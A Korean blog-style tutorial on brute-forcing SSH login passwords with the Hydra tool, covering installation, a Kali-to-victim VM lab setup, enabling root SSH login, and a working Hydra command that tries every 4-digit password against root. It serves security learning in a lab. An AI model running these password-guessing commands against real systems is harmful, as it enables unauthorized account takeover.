Hydra를 이용한 Brute-force 공격 테스트

 

Brute-force Attack은 특정 암호, 로그인 패스워드를 뚫기 위해 가능한 모든 값들을 시도해보는 것을 의미합니다. 해킹 수법으로서는 가장 단순무식한 전략입니다. 사람이 직접 자리에 앉아 경우의 수를 모두 대입한다면 막대한 시간과 노력이 들겠지만, 이를 컴퓨터 스크립트나 소프트웨어가 대신 해준다면 보다 빠르게 크랙할 수 있겠죠.

 

Hydra


Brute-force Attack을 시험 삼아 해볼 수 있는 도구로 “Hydra”가 있습니다. 터미널 명령어로 동작이 가능하며, Linux 접속 시의 SSH 패스워드나 웹 페이지 로그인 암호를 뚫을 수 있습니다. Kali OS를 사용한다면 기본적으로 내장되어있는 도구여서 바로 테스트가 가능하구요.

 

Kali가 아닌 다른 OS에 직접 설치하는 방법

https://github.com/vanhauser-thc/thc-hydra

 

GitHub - vanhauser-thc/thc-hydra: hydra

hydra. Contribute to vanhauser-thc/thc-hydra development by creating an account on GitHub.

github.com

$ git clone https://github.com/vanhauser-thc/thc-hydra
$ cd thc-hydra

$ su
$ apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
  libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
  firebird-dev libmemcached-dev libgpg-error-dev
$ ./configure
$ make
$ make install

 

SSH 접속 패스워드 알아내기


환경 구성

Kali OS가 설치된 호스트 머신과 해킹 타겟이 될 가상머신(Victim)을 준비하였습니다.

 

통신이 되는지부터 체크하고,

 

일반 사용자 계정이 아닌 root 계정은 기본적으로 SSH 접속이 막혀있습니다만, 시험 삼아 공격해볼 겸 ssh 설정에서 PermitRootLogin 옵션을 yes 로 변경해줍시다.

# Victim Host(192.168.1.11)에서
$ vi /etc/ssh/sshd_config
$ /etc/init.d/ssh restart

 

Hydra 명령어 수행

타겟 PC(192.168.1.11)의 SSH 패스워드는 간단하게 ‘1234' 로 설정하였습니다. hydra 명령어의 사용법은 다음과 같습니다.

# hydra -l [로그인 계정] -x [시도해볼 패스워드 형태] -f -V [타겟 IP] ssh

# '-x' 옵션 관련 예시
#
#   1) -x 3:5:a  길이 3 ~ 5의 알파벳 소문자로 구성된 패스워드 전부 시도
#   2) -x 5:8:A1 길이 5 ~ 8의 알파벳 대문자 및 숫자로 구성된 패스워드 전부 시도
#   3) -x 1:3:/  문자 '/'가 1번 이상 3번 이하로 연속된 패스워드 전부 시도
#   4) -x 5:5:/%,.- 길이가 5이며 다음 문자 /%,.- 로만 구성된 패스워드 전부 시도
#   5) -x 3:5:aA1 -y 길이 3 ~ 5이며 알파벳 a, A, 또는 숫자 1로 구성된 패스워드 전부 시도

 

비밀번호가 4자리 숫자라는 힌트를 알고 있다면, 아래와 같은 명령어로 0000 ~ 9999 까지의 모든 경우의 수를 대입해볼 수 있습니다.

# Attacker(192.168.1.10)에서
$ sudo hydra -l root -x 4:4:1 -f -V 192.168.1.11 ssh

 

조금만 기다리면 패스워드를 알아낼 수 있습니다.

반응형